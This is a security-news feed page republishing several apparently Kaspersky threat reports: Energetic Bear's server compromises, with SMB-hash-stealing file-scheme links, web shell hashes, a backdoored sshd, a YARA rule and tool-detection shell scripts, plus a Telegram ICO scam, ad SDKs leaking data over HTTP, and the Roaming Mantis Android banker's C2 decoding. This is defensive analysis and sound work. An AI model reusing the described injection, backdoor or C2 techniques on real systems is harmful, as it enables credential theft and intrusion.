Malware Alerts

Subscribe to Malware Alerts feed Malware Alerts
Online headquarters of Kaspersky Lab security experts.
Updated: 59 min 9 sec ago

Energetic Bear/Crouching Yeti: attacks on servers

1 hour 44 min ago

Energetic Bear/Crouching Yeti is a widely known APT group active since at least 2010. The group tends to attack different companies with a strong focus on the energy and industrial sectors. Companies attacked by Energetic Bear/Crouching Yeti are geographically distributed worldwide with a more obvious concentration in Europe and the US. In 2016-2017, the number of attacks on companies in Turkey increased significantly.

The main tactics of the group include sending phishing emails with malicious documents and infecting various servers. The group uses some of the infected servers for auxiliary purposes – to host tools and logs. Others are deliberately infected to use them in waterhole attacks in order to reach the group’s main targets.

Recent activity of the group against US organizations was discussed in a US-CERT advisory, which linked the actor to the Russian government, as well as an advisory by the UK National Cyber Security Centre.

This report by Kaspersky Lab ICS CERT presents information on identified servers that have been infected and used by the group. The report also includes the findings of an analysis of several webservers compromised by the Energetic Bear group during 2016 and in early 2017.

Attack victims

The table below shows the distribution of compromised servers (based on the language of website content and/or the origins of the company renting the server at the time of compromise) by countries, attacked company types and the role of each server in the overall attack scheme. Victims of the threat actor’s attacks were not limited to industrial companies.

Table 1. Compromised servers

Country Description Role in the attack Russia Opposition political website Waterhole Real estate agency Auxiliary (collecting user data in the waterhole attack) Football club Waterhole Developer and integrator of secure automation systems and IS consultant Waterhole Developers of software and equipment Auxiliary (collecting user data in the waterhole attack, tool hosting) Investment website Auxiliary (collecting user data in the waterhole attack) Ukraine Electric power sector company Waterhole Bank Waterhole UK Aerospace company Waterhole Germany Software developer and integrator Waterhole Unknown Auxiliary (collecting user data in the waterhole attack) Turkey Oil and gas sector enterprise Waterhole Industrial group Waterhole Investment group Waterhole Greece Server of a university Auxiliary (collecting user data in the waterhole attack) USA Oil and gas sector enterprise Waterhole Unknown Affiliate network site Auxiliary (collecting user data in the waterhole attack) Waterhole

All waterhole servers are infected following the same pattern: injecting a link into a web page or JS file with the following file scheme: file://IP/filename.png.

Injected link with the file scheme

The link is used to initiate a request for an image, as a result of which the user connects to the remote server over the SMB protocol. In this attack type, the attackers’ goal is to extract the following data from the session:

  • user IP,
  • user name,
  • domain name,
  • NTLM hash of the user’s password.

It should be noted that the image requested using the link is not physically located on the remote server.

Scanned resources

Compromised servers are in some cases used to conduct attacks on other resources. In the process of analyzing infected servers, numerous websites and servers were identified that the attackers had scanned with various tools, such as nmap, dirsearch, sqlmap, etc. (tool descriptions are provided below).

Table 2. Resources that were scanned from one of the infected servers

(based on the content)
Description Russia Non-profit organization Sale of drugs Travel/maps Resources based on the Bump platform (platform for corporate social networks) – non-profit organization, social network for college/university alumni, communication platform for NGOs, etc. Business – photographic studio Industrial enterprise, construction company Door manufacturing Cryptocurrency exchange Construction information and analysis portal Personal website of a developer Vainah Telecom IPs and Subnets (Chechen Republic)
Various Chechen resources (governmental organizations, universities, industrial enterprises, etc.) Web server with numerous sites (alumni sites, sites of industrial and engineering companies, etc.) Muslim dating site Brazil Water treatment Turkey Hotels Embassy in Turkey Software developer Airport website City council website Cosmetics manufacturer Religious website Turktelekom subnet with a large number of sites Telnet Telecom subnet with a large number of sites Georgia Personal website of a journalist Kazakhstan Unknown web server Ukraine Office supplies online store Floral business Image hosting service Online course on sales Dealer of farming equipment and spare parts Ukrainian civil servant’s personal website Online store of parts for household appliance repair Timber sales, construction Tennis club website Online store for farmers Online store of massage equipment Online clothes store Website development and promotion Online air conditioner store Switzerland Analytical company US Web server with many domains France Web server with many domains Vietnam Unknown server International Flight tracker

The sites and servers on this list do not seem to have anything in common. Even though the scanned servers do not necessarily look like potential final victims, it is likely that the attackers scanned different resources to find a server that could be used to establish a foothold for hosting the attackers’ tools and, subsequently, to develop the attack.

Part of the sites scanned may have been of interest to the attackers as candidates for hosting waterhole resources.

In some cases, the domains scanned were hosted on the same server; sometimes the attackers went through the list of possible domains matching a given IP.

In most cases, multiple attempts to compromise a specific target were not identified – with the possible exception of sites on the Bump platform, flight tracker servers and servers of a Turkish hotel chain.

Curiously, the sites scanned included a web developer’s website,, and resources links to which were found on this site. These may have been links to resources developed by the site’s owner:,,

Toolset used Utilities

Utilities found on compromised servers are open-source and publicly available on GitHub:

  • Nmap – an open-source utility for analyzing the network and verifying its security.
  • Dirsearch — a simple command-line tool for brute forcing (performing exhaustive searches of) directories and files on websites.
  • Sqlmap — an open-source penetration testing tool, which automates the process of identifying and exploiting SQL injection vulnerabilities and taking over database servers.
  • Sublist3r — a tool written in Python designed to enumerate website subdomains. The tool uses open-source intelligence (OSINT). Sublist3r supports many different search engines, such as Google, Yahoo, Bing, Baidu and Ask, as well as such services as Netcraft, Virustotal, ThreatCrowd, DNSdumpster and ReverseDNS. The tool helps penetration testers to collect information on the subdomains of the domain they are researching.
  • Wpscan — a WordPress vulnerability scanner that uses the blackbox principle, i.e., works without access to the source code. It can be used to scan remote WordPress sites in search of security issues.
  • Impacket — a toolset for working with various network protocols, which is required by SMBTrap.
  • SMBTrap — a tool for logging data received over the SMB protocol (user IP address, user name, domain name, password NTLM hash).
  • Commix — a vulnerability search and command injection and exploitation tool written in Python.
  • Subbrute – a subdomain enumeration tool available for Python and Windows that uses an open name resolver as a proxy and does not send traffic to the target DNS server.
  • PHPMailer – a mail sending tool.

In addition, a custom Python script named was found on one of the servers. The script was designed to check FTP hosts from an incoming list.

Malicious php files

The following malicious php files were found in different directories in the nginx folder and in a working directory created by the attackers on an infected web servers:

File name Brief description md5sum Time of the latest file change (MSK) Size, bytes ini.php wso shell+ mail f3e3e25a822012023c6e81b206711865 2016-07-01 15:57:38 28786 mysql.php wso shell+ mail f3e3e25a822012023c6e81b206711865 2016-06-12 13:35:30 28786 opts.php wso shell c76470e85b7f3da46539b40e5c552712 2016-06-12 12:23:28 36623 error_log.php wso shell 155385cc19e3092765bcfed034b82ccb 2016-06-12 10:59:39 36636 code29.php web shell 1644af9b6424e8f58f39c7fa5e76de51 2016-06-12 11:10:40 10724 proxy87.php web shell 1644af9b6424e8f58f39c7fa5e76de51 2016-06-12 14:31:13 10724 theme.php wso shell 2292f5db385068e161ae277531b2e114 2017-05-16 17:33:02 133104 sma.php PHPMailer 7ec514bbdc6dd8f606f803d39af8883f 2017-05-19 13:53:53 14696 media.php wso shell 78c31eff38fdb72ea3b1800ea917940f 2017-04-17 15:58:41 1762986

In the table above:

  • Web shell is a script that allows remote administration of the machine.
  • WSO is a popular web shell and file manager (it stands for “Web Shell by Orb”) that has the ability to masquerade as an error page containing a hidden login form. It is available on GitHub:

Two of the PHP scripts found, ini.php and mysql.php, contained a WSO shell concatenated with the following email spamming script:

All the scripts found are obfuscated.

wso shell – error_log.php

Deobfuscated wso shell – error_log.php

One of the web shells was found on the server under two different names (proxy87.php and code29.php). It uses the eval function to execute a command sent via HTTP cookies or a POST request:

Web shell – proxy87.php

Deobfuscated web shell – proxy87.php

Modified sshd

A modified sshd with a preinstalled backdoor was found in the process of analyzing the server.

Patches with some versions of backdoors for sshd that are similar to the backdoor found are available on GitHub, for example:

Compilation is possible on any OS with binary compatibility.

As a result of replacing the original sshd file with a modified one on the infected server, an attacker can use a ‘master password’ to get authorized on the remote server, while leaving minimal traces (compared to an ordinary user connecting via ssh).

In addition, the modified sshd logs all legitimate ssh connections (this does not apply to the connection that uses the ‘master password’), including connection times, account names and passwords. The log is encrypted and is located at /var/tmp/.pipe.sock.

Decrypted log at /var/tmp/.pipe.sock

Activity of the attackers on compromised servers

In addition to using compromised servers to scan numerous resources, other attacker activity was also identified.

After gaining access to the server, the attackers installed the tools they needed at different times. Specifically, the following commands for third-party installations were identified on one of the servers:

  • apt install traceroute
  • apt-get install nmap
  • apt-get install screen
  • git clone

Additionally, the attackers installed any packages and tools for Python they needed.

The diagram below shows times of illegitimate logons to one of the compromised servers during one month. The attackers checked the smbtrap log file on working days. In most cases, they logged on to the server at roughly the same time of day, probably in the morning hours:

Times of illegitimate connections with the server (GMT+3)

In addition, in the process of performing the analysis, an active process was identified that exploited SQL injection and collected data from a database of one of the victims.


The findings of the analysis of compromised servers and the attackers’ activity on these servers are as follows:

  1. With rare exceptions, the group’s members get by with publicly available tools. The use of publicly available utilities by the group to conduct its attacks renders the task of attack attribution without any additional group ‘markers’ very difficult.
  2. Potentially, any vulnerable server on the internet is of interest to the attackers when they want to establish a foothold in order to develop further attacks against target facilities.
  3. In most cases that we have observed, the group performed tasks related to searching for vulnerabilities, gaining persistence on various hosts, and stealing authentication data.
  4. The diversity of victims may indicate the diversity of the attackers’ interests.
  5. It can be assumed with some degree of certainty that the group operates in the interests of or takes orders from customers that are external to it, performing initial data collection, the theft of authentication data and gaining persistence on resources that are suitable for the attack’s further development.
Appendix I – Indicators of Compromise Filenames and Paths Tools*


*Note that these tools can also be used by other threat actors.

PHP files:




PHP file hashes


Yara rules

rule Backdoored_ssh {
$a1 = “OpenSSH”
$a2 = “usage: ssh”
$a3 = “HISTFILE”
uint32(0) == 0x464c457f and filesize<1000000 and all of ($a*)

Appendix II – Shell script to check a server for tools Shell script for Debian

cd /tmp
mkdir $workdir
cd $workdir
find / -type d -iname smbtrap > find-smbtrap.txt 2>/dev/null
find / -type d -iname dirsearch > find-dirsearch.txt 2>/dev/null
find / -type d -iname nmap > find-nmap.txt 2>/dev/null
find / -type d -iname wpscan > find-wpscan.txt 2>/dev/null
find / -type d -iname sublist3r > find-sublist3r.txt 2>/dev/null
dpkg -l | grep -E \(impacket\|pcapy\|nmap\) > dpkg-grep.txt
cp /var/lib/dpkg/info/openssh-server.md5sums . #retrieve initial hash for sshd
md5sum /usr/sbin/sshd > sshd.md5sum #calculate actual hash for sshd

Shell script for Centos

cd /tmp
mkdir $workdir
cd $workdir
find / -type d -iname smbtrap > find-smbtrap.txt 2>/dev/null
find / -type d -iname dirsearch > find-dirsearch.txt 2>/dev/null
find / -type d -iname nmap > find-nmap.txt 2>/dev/null
find / -type d -iname wpscan > find-wpscan.txt 2>/dev/null
find / -type d -iname sublist3r > find-sublist3r.txt 2>/dev/null
rpm -qa | grep -E \(impacket\|pcapy\|nmap\) > rpm-grep.txt
rpm -qa –dump | grep ssh > rpm-qa-dump.txt #retrieve initial hash for sshd
sha256sum /usr/sbin/sshd > sshd.sha256sum #calculate actual sha256 hash for sshd
md5sum /usr/sbin/sshd > sshd.md5sum #calculate actual md5 hash for sshd

 Energetic Bear/Crouching Yeti: attacks on servers

Tens of thousands per Gram

Thu, 04/19/2018 - 06:00

Looking at Instagram one morning, I spotted several posts from some fairly well-known people (in certain circles) who had invested in an ICO held by Telegram. Interesting, I thought to myself. I fancy a piece of that. Only I was pretty sure that if Telegram was indeed holding an ICO, it would be a private affair — off limits to cash-strapped social media-based “investors.” That’s when I decided to do some digging.

Let’s start with a brief history lesson. In late 2017, information appeared on specialized resources about a Telegram ICO to finance the launch of its own blockchain platform based on TON (Telegram Open Network) technology. Despite the fact that Pavel Durov did not confirm the ICO rumors, and no information was posted on the company’s official website (and still hasn’t been), the mooted project attracted a huge number of potential investors. According to various (dubious) sources, participation in the ICO is by invitation only, and the first closed round, the so-called presale, has already taken place. Technical documentation and a white paper also appeared online, but their authenticity is not confirmed.

Perhaps the masterminds behind the project deliberately clothed it in mystery to spark interest. In any case, the lack of information bred speculation and provided fertile ground for scammers: the rumors prompted mailshots seemingly from official representatives of the platform, inviting people to take part in the ICO and purchase tokens. And there was a mushrooming of sites supposedly selling Grams (the name of the cryptocurrency that Telegram presumably intends to launch).

When creating fake sites, cybercriminals try to keep to the style of technical documentation and white papers

Meanwhile, Pavel Durov tweeted that all TON-related news would be posted only on the official website, and asked for any “Gram” sales to be reported:

If you see or receive offers to "buy Grams", let us know at

— Pavel Durov (@durov) 21 января 2018 г.

Despite the announcement, fake sites continued scooping cash from unwitting victims. But to give credit where it’s due, their creators did a superb job. Unlike some phishing fakes, these sites really do lure people in. Not only that, most use a secure connection, require registration, and generate a unique online wallet for each new victim, making it hard to track the movement of money.

Grams can be purchased in a selection of cryptocurrencies

The price of the new cryptocurrency varies greatly from one fake site to the next. And although most of them create unique wallets for victims, I managed to find several that use static wallets. From the transaction history of one of them, we see that the cybercriminals withdrew 85 ETH:

Withdrawal of funds harvested in Ethereum

At the time of writing this article, the Ethereum exchange rate was about $422. This resource alone seems to have collected more than 35 000$(2 million rubles), and there are dozens like it. Judging by their content, it’s possible they have common ownership. For example, several have one and the same Our Team section.

Suspiciously similar Our Team sections

While the presence of the Durov brothers doesn’t raise any question marks, Lucas Pernas-Valles seems to exist only on dozens of other fake sites. He may indeed be a member of Telegram’s new project team, but a brief online check reveals that the person in the photo is not called Lucas Pernas-Valles, although he does have cryptocurrency links.

It should be noted that this ICO project is one of relatively few to have attracted mass attention. And where there’s mass attention, there’s fraud. The lack of reliable information from official sources only serves to aggravate the situation

Leaking ads

Tue, 04/17/2018 - 17:15

When we use popular apps with good ratings from official app stores we assume they are safe. This is partially true – usually these apps have been developed with security in mind and have been reviewed by the app store’s security team. However, we found that because of third-party SDKs many popular apps are exposing user data to the internet, with advertising SDKs usually to blame. They collect user data so they can show relevant ads, but often fail to protect that data when sending it to their servers.

During our research into dating app security, we found that some analyzed apps were transmitting unencrypted user data through HTTP. It was unexpected behavior because these apps were using HTTPS to communicate with their servers. But among the HTTPS requests there were unencrypted HTTP requests to third-party servers. These apps are pretty popular, so we decided to take a closer look at these requests.

HTTP request with unencrypted user data

One of the apps was making POST requests to the api.quantumgraph[.]com server. By doing so it was sending an unencrypted JSON file to a server that is not related to the app developers. In this JSON file we found lots of user data, including device information, date of birth, user name and GPS coordinates. Furthermore, this JSON contained detailed information about app usage that included information about profiles liked by the user. All this data was sent unencrypted to the third-party server and the sheer volume makes it really scary. This is due to the use of a qgraph analytics module.

Unencrypted user data sent by app

Two other dating apps from our research were basically doing the same. They were using HTTPS to communicate with their servers, but at the same time there were HTTP requests with unencrypted user data being sent to a third-party server. This time it was another server belonging not to an analytics company but to an advertising network used by both dating apps. Another difference was GET HTTP requests with user data being used as parameters in a URL. But in general these apps were doing the same thing – transmitting unencrypted user data to third-party servers.

List of HTTP requests from advertising SDK

At this point it already looked bad, so I decided to check my own device, collecting network activity for one hour. It turned out to be enough to identify unencrypted requests with my own data. And again the cause of these requests was a third-party SDK used by a popular app. It was transmitting my location, device information and token for push messages.

HTTP request from my device with my own unencrypted data

So I decided to take a look at those dating apps with the leaking SDKs to find out why it was happening. It came as no surprise that they were used by more than one third party in these apps – in fact, every app contained at least 40 different modules. They make up a huge part of these apps – at least 75% of the Dalvik bytecode was in third-party modules; in one app the proportion of third-party code was as high as 90%.

List of modules from analyzed dating apps

Developers often use third-party code to save time and make use of existing functionality. This makes perfect sense and allows developers to focus on their own ideas instead of working on something that has already been developed many times before. However, this means developers are unlikely to know all the details of the third-party code used and it may contain security issues. That’s what happened with the apps from our research.

Getting results

Knowing that there are popular SDKs exposing user data and that almost every app uses several SDKs, we decided to search for more of these apps and SDKs. To do so we used network traffic dumps from our internal Android sandbox. Since 2014 we have collected network activities from more than 13 million APKs. The idea is simple – we install and launch an app and imitate user activity. During app execution we collect logs and network traffic. There is no real user data, but to the app it looks like a real device with a real user.

We searched for the two most popular HTTP requests – GET and POST. In GET requests user data is usually part of the URL parameters, while in GET requests user data is in the Content field of the request, not the URL. In our research, we looked for apps transmitting unencrypted user data using at least one of these requests, though many were exposing user data in both requests.

We were able to identify more than 4 million APKs exposing some data to the internet. Some of them were doing it because their developers had made a mistake, but most of the popular apps were exposing user data because of third-party SDKs. For each type of request (GET or POST) we extracted the domains where apps were transmitting user data. Then we sorted these domains by app popularity – how many users had these apps installed. That’s how we identified the most popular SDKs leaking user data. Most of them were exposing device information, but some were transmitting more sensitive information like GPS coordinates or personal information.

Four most popular domains where apps were exposing sensitive data through GET requests

This domain is part of a popular advertising network. It was used by the two dating apps mentioned at the beginning of this article. We found many more popular apps with this SDK – at least five of them have more than 100 million installations according to Google Play Store and many others with millions of installations.

It transmits the following data in unencrypted form:

  • device information (manufacturer name, model, screen resolution)
  • network information (MCC, MNC)
  • package name of the app
  • device coordinates
  • Key words

HTTP request with user data in URL

Key words are the most interesting part of the transmitted data. They can vary depending on app parameter settings. In our data there was usually some personal information like name, date of birth and gender. Location needs to be set by an app too – and usually apps provide GPS coordinates to the advertising SDK.

We found several different versions of this SDK. The most common version was able to use HTTPS instead of HTTP. But it needs to be set by the app developers and according to our findings they mostly didn’t bother, leaving the default value HTTP.

Advertising SDK using HTTP by default

This domain is also part of a popular advertising network. We found two apps with more than 500 million installations, seven apps with more than 100 million installations and many others with millions of installations.

It transmits the following data:

  • device information (manufacturer name, model, screen resolution, OS version, device language, time zone, IMEI, MAC)
  • network information (MCC, MNC)
  • package name of the app
  • device coordinates

We should mention that while most of this data was transmitted in plain text as URL parameters, the coordinates, IMEI and MAC address were encoded with Base64. We can’t say they were protected, but at least they weren’t in plain text. We were unable to find any versions of this SDK where it’s possible to use HTTPS – all versions had HTTP URLs hardcoded.

Advertising SDK collects device location

Another popular advertising SDK that collects the same data as the others:

  • device information (manufacturer name, model)
  • network operator code
  • package name of the app
  • device coordinates

We found seven apps with more than 10 million installations from Google Play Store and many other apps with fewer installations. We were unable to find any way for the developers to switch from HTTP to HTTPS in this SDK either.

The fourth advertising SDK is appsgeyser and it differs from the others in that it is actually a platform to build an app. It allows people who don’t want to develop an app to simply create one. And that app will have an advertising SDK in it that uses user data in HTTP requests. So, these apps are actually developed by this service and not by developers.

They transmit the following data:

  • device information (manufacturer name, model, screen resolution, OS version, android_id)
  • network information (operator name, connection type)
  • device coordinates

We found a huge amount of apps that have been created with this platform and are using this advertising SDK, but most of them are not very popular. The most popular have just tens of thousands of installations. However, there really are lots of these apps.

Screenshot of

According to the web page there are more than 6 million apps with almost 2 billion installations between them. And they showed almost 200 billion ads – probably all via HTTP.

Four most popular domains where apps were exposing sensitive data through POST requests

All apps posting unencrypted data to this server were created by the same company, so it isn’t because of third-party code. But these apps are very popular – one of them was installed more than 500 million times from Google Play Store. These apps collect a large amount of device information:

  • manufacturer name
  • model
  • screen resolution
  • OS version
  • device language
  • country
  • android_id
  • IMEI
  • IMSI
  • MAC

Device information collected by the app

This unencrypted data is then sent to the server. Furthermore, among the data they are uploading is a list of supported commands – one of them is to install an app. The list of commands is transmitted in plain text and the answer from the server is also unencrypted. This means it can be intercepted and modified. What is even worse about this functionality is that the app can silently install a downloaded app. The app just needs to be a system app or have root rights to do so.

Fragment of code related to the silent installation of apps upon command from the server


Here is another example of popular apps leaking user data not because of third-party code but because of a mistake by developers. We found several popular Lenovo apps collecting and transmitting unencrypted device information:

  • IMEI
  • OS version
  • language
  • manufacturer name
  • model
  • screen resolution

H TTP request with unencrypted device information

This information is not very sensitive. But we found several Lenovo apps that were sending more sensitive data in unencrypted form, such as GPS coordinates, phone number and email.

App code for the collection of device coordinates and other data

We reported these issues to Lenovo and they fixed everything.

This domain is used by a very popular advertising SDK. There are tons of apps using it. One of them even has more than 500 million installations and seven other apps have more than 100 million installations. Most of the apps with this SDK are games. There are two interesting things about this SDK – the transmitted data and the protocol used.

This SDK sends the following data to the server:

  • device information (screen resolution, storage size, volume, battery level)
  • network information (operator name, IP address, connection type, signal strength)
  • device coordinates

It also sends information about hardware availability:

  • Front/rear camera availability
  • NFC permission
  • Bluetooth permission
  • Microphone permission
  • GPS coordinates permission

Advertising SDK that collects information about device hardware features

It may also send some personal information, such as age, income, education, ethnicity, political view, etc. There’s no magic involved – the SDK has no way of finding this information unless the apps that are using this SDK provide it. We have yet to see any app providing these details to the SDK, but we think users should be aware of the risks when entering such details to apps. The information could be passed on to the SDK and the SDK could expose it to the internet.

Advertising SDK could send personal information

The second interesting thing about this SDK is that it uses HTTPS to transmit data, but usually only for the initial communication. After that it may receive new configuration settings from the server that specify an HTTP URL. At least that’s what happened on my device and several other times with different apps on our test devices.

HTTPS URL in advertising SDK

Another SDK that is leaking data uses the domain. This is an analytics SDK, not an advertising one. We found two apps with more than 10 million installations from Google Play Store and another seven apps with more than a million installations. More than 90% of detected users with this SDK were from India.

This SDK posts JSON files with data via HTTP. The data may vary from app to app because it’s an analytics SDK and it sends information provided by the app. In most cases, the following items are among the sent data:

  • Device information
  • Personal information
  • Device coordinates
  • App usage

List of installed apps were sent in unencrypted form to the server

In the case of the dating app, there were likes, swipes and visited profiles – all user activity.

App usage was sent in unencrypted form to the server

This SDK was using a hardcoded HTTP URL, but after our report they created a version with an HTTPS URL. However, most apps are still using the old HTTP version.

Other SDKs

Of course, there are other SDKs using HTTP to transmit user data, but they are less popular and almost identical to those described above. Many of them expose device locations, while some also expose emails and phone numbers.

Phone number and email collected by an app to be sent via HTTP

Other findings

During our research, we found many apps that were transmitting unencrypted authentication details via HTTP. We were surprised to discover how many apps are still using HTTP to authenticate their services.

Unencrypted request with authentication token

They weren’t always transmitting user credentials – sometimes they were credentials for their services (for example databases) too. It makes no sense having credentials for such services because they are exposed to the internet. Such apps usually transmit authentication tokens, but we saw unencrypted logins and passwords too.

Unencrypted request with credentials


Digging into an HTTP request with unencrypted data allowed us to discover a new malicious site. It turns out that many malicious apps use HTTP to transmit user data too. And in the case of malware it is even worse because it can steal more sensitive data like SMSs, call history, contacts, etc. Malicious apps not only steal user data but expose it to the internet making it available for others to exploit and sell.

Leaked data

In this research we analyzed the network activity of more than 13 million APK files in our sandbox. On average, approximately every fourth app with network communications was exposing some user data. The fact that there are some really popular apps transmitting unencrypted user data is significant. According to Kaspersky Lab statistics, on average every user has more than 100 installed apps, including system and preinstalled apps, so we presume most users are affected.

In most cases these apps were exposing:

  • IMEI, International Mobile Equipment Identities (unique phone module id) which users can’t reset unless they change their device.
  • IMSI, International Mobile Subscriber Identities (unique SIM card id) which users can’t reset unless they change their SIM card.
  • Android ID – a number randomly generated during the phone’s setup, so users can change it by resetting their device to factory settings. But from Android 8 onwards there will be a randomly generated number for every app, user and device.
  • Device information such as the manufacturer, model, screen resolution, system version and app name.
  • Device location.

Some apps expose personal information, mostly the user’s name, age and gender, but it can even include the user’s income. Their phone number and email address can also be leaked.

Why is it wrong?

Because this data can be intercepted. Anyone can intercept it on an unprotected Wi-Fi connection, the network owner could intercept it, and your network operator could find out everything about you. Data will be transmitted through several network devices and can be read on any of them. Even your home router can be infected – there are many examples of malware infecting home routers.

Without encryption this data is being exposed as plain text and can be simply extracted from the requests. By knowing the IMSI and IMEI anyone can track your data from different sources – you need to change both the SIM card and device at the same time to change them. Armed with these numbers, anyone can collect the rest of your leaking data.

Furthermore, HTTP data can be modified. Someone could change the ads being displayed or, even worse, change the link to an app. Because some advertising networks promote apps and ask users to install them, it could result in malware being downloaded instead of the requested app.

Apps can intercept HTTP traffic and bypass the Android permission system. Android uses permissions to protect users from unexpected app activity. This involves apps declaring what access they will need. Starting from Android 6, all permissions have been divided into two groups – normal and dangerous. If an app needs dangerous permissions, it has to ask the user for permission in runtime, not just before installation. So, in order to get the location, the app will need to ask the user to grant access. And to read the IMEI or IMSI the app will also need to ask the user for access, because this is classified as a dangerous permission.

But an app can add a proxy to Wi-Fi settings and read all the data being transmitted from other apps. To do so it needs to be a system app or be provisioned as the Profile or Device Owner. Or an app can set a VPN service on the device transmitting user data to its server. After that the app can find out the device’s location without accessing it just by reading the HTTP requests.


HTTP (blue) and HTTPS (orange) usage in apps since March 2014

Starting from the second half of 2016, more and more apps have been switching from HTTP to HTTPS. So, we are moving in the right direction, but too slowly. As of January 2018, 63% of apps are using HTTPS but most of them are still also using HTTP. Almost 90% of apps are using HTTP. And many of them are transmitting unencrypted sensitive data.

Advice for developers
  • Do not use HTTP. You can expose user data, which is really bad.
  • Turn on 301 redirection to HTTPS for your frontends.
  • Encrypt data. Especially if you have to use HTTP. Asymmetric cryptography works great.
  • Always use the latest version of an SDK. Even if it means additional testing before the release. This is really important because some security issues could be fixed. From what we have seen, many apps do not update third-party SDKs, using outdated versions instead.
  • Check your app’s network communications before publishing. It won’t take more than a few minutes but you will be able to find out if any of your SDKs are switching from HTTPS to HTTP and exposing user data.
Advice for users
  • Check your app permissions. Do not grant access to something if you don’t understand why. Most apps do not need access to your location. So don’t grant it.
  • Use a VPN. It will encrypt the network traffic between your device and external servers. It will remain unencrypted behind the VPN’s servers, but at least it’s an improvement.

Roaming Mantis uses DNS hijacking to infect Android smartphones

Mon, 04/16/2018 - 04:30

In March 2018, Japanese media reported the hijacking of DNS settings on routers located in Japan, redirecting users to malicious IP addresses. The redirection led to the installation of Trojanized applications named facebook.apk and chrome.apk that contained Android Trojan-Banker. According to our telemetry data, this malware was detected more than 6,000 times, though the reports came from just 150 unique users (from February 9 to April 9, 2018). Of course, this is down to the nature of the malware distribution, but it also suggests a very painful experience for some users, who saw the same malware appear again and again in their network. More than half of the detections were observed targeting the Asian region.

During our research we received some invaluable information about the true scale of this attack. There were thousands of daily connections to the command and control (C2) infrastructure, with the device locale for the majority of victims set to Korean. Since we didn’t find a pre-existing name for this malware operation, we decided to assign a new one for future reference. Based on its propagation via smartphones roaming between Wi-Fi networks, potentially carrying and spreading the infection, we decided to call it ‘Roaming Mantis’.


Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message (screenshot below): “To better experience the browsing, update to the latest chrome version.”

Looking at the HTML source of the malicious webpage, it seems to support five locales: Korean, Traditional Chinese, Simplified Chinese, Japanese and English.

However, after carefully studying the HTML source, we found that the actual number of target locales is only four: Korean, Simplified Chinese, Japanese and English, based on Android devices. As shown in the image above, the HTML code contains an identical message in Traditional Chinese and Simplified Chinese. Also, the HTML source contains several short code comments in Simplified Chinese.

Analyzing chrome.apk

One of the applications pushed to users impersonated a Chrome browser for Android. Kaspersky Lab got a copy of chrome.apk (md5:f3ca571b2d1f0ecff371fb82119d1afe) in April 2018. The Android application package structure is as follows:

The package contains classes.dex, which is a Dalvik VM executable file. Its main purpose is to read the file named /assets/db. It decodes the data inside with a Base64 decoder and produces another Dalvik VM executable named test.dex:

The extracted test.dex contains the main malicious payload, which is described in more detail below. The Base64 encoding technique is probably used to bypass trivial signature-based detection.

AndroidManifest.xml contains one of the key components of the package – the permissions requested by the application from the device owner during installation.

From the xml above, it seems that Roaming Mantis requests permission to be notified when the device is booted, using the internet, collecting account information, managing SMS/MMS and making calls, recording audio, controlling external storage, checking packages, working with file systems, drawing overlay windows and so on. All these requests are of course backed up by malicious functionality implemented in test.dex.

For instance, after installation, the malware overlays all other windows with one carrying a message in broken English: “Account No.exists risks, use after certification”. After that, the malware starts its own webserver on the device, and renders a page spoofing Google’s authentication on

The page uses a Google account name obtained from the infected device and asks the owner to complete two input boxes with ‘Name:’ and ‘Date of birth:’, which would facilitate access to the user account. After the user enters their name and date of birth, the browser is redirected to a blank page at${random_port}/submit.

While analyzing the extracted test.dex, we found an interesting piece of code.

Just like the distribution page, the malware supports four locales: Korean, Traditional Chinese, Japanese and English. The code above was taken from an original Google authentication page intended for an English environment, though we aren’t sure why the three Korean strings appear here. The English translations are as follows:

  • I have an anomaly on my Google account. For voice verification, enter your verification number to verify your Google account. //구글 계정이 이상이 있습니다.음성검증을 들어 인증번호를 입력하여 구글 계정을 검증하도록합니다.
  • Verification Number. //인증번호
  • Please enter your verification number. //인증번호를 입력하세요

Judging by these strings, it’s clear that the criminals behind the malware are trying to get a verification code for two-factor authentication. There may be a bug or design fault that causes Korean strings to be displayed not just for Korean users but also for those using Japanese and English. Traditional Chinese users will see strings in Traditional Chinese. The authors could have overlooked this in the rush to launch the campaign, but it reveals a certain bias by the authors towards Korean and Traditional Chinese.

Permission to receive/read/write/send SMS/MMS and record audio could also allow the malware operators to steal a verification code for the two-factor authentication function.

Secondly, this malware contains references to Android application IDs popular in South Korea and mostly linked to mobile banking and games.

The following hardcoded strings were extracted from the malware:

  • kbstar.kbbank
  • ibk.neobanking
  • sc.danb.scbankapp
  • shinhan.sbanking
  • smart
  • epost.psf.sdsi
  • kftc.kjbsmb
  • smg.spbs
  • ncsoft.lineagem19
  • ncsoft.lineagem
  • co.neople.neopleotp
  • nexon.axe
  • nexon.nxplay

Another piece of code verifies the presence of the su binary in /system/bin/, /system/xbin/, /system/sbin/, sbin/ or /vendor/bin/ on a device.

Regular Android devices do not have the su binary. Its presence means the device is probably rooted. For attackers this may indicate that a device is owned by an advanced Android user (a signal to stop messing with the device) or, alternatively, a chance to leverage root access to gain access to the whole system.

C2 communication

Kaspersky Lab discovered a hardcoded URL template ( in the malicious application used for malware control. The site is legitimate; however, some content on the user profile pages is controlled by the owners of the profiles.

A list of account IDs separated by the “|” character were included in the malware: “329505231|329505325|329505338”.

After getting the content from the webpage, the malware extracts a Chinese string from a specific part of the HTML code.

For example, the malicious application receives the page at

After that, it uses the hardcoded regular expression “<p>([\u4e00-\u9fa5]+?)</p>\s+</div>” to extract a Chinese string located in a very distinct place on the web page. Next, each character is decoded by subtracting 0x4E00, doing a right bitwise shift operation for 3 bits and xoring using the word “beg” as the key.

The result is the real C2 address, which the malware connects to by using a web socket. We traced this activity in the debug log of an infected device.

In another recent sample (MD5:4d9a7e425f8c8b02d598ef0a0a776a58), the connection protocol, including a hardcoded legitimate website, accounts and the regular expression for retrieving next level C2, had been changed:

MD5 f3ca571b2d1f0ecff371fb82119d1afe 4d9a7e425f8c8b02d598ef0a0a776a58 Date March 29 2018 April 7 2018 Legitimate web[.]com/user/%s[.]com/p/%s/detail account_IDs ● 329505231
● 329505325
● 329505338 ● haoxingfu88
● haoxingfu12389
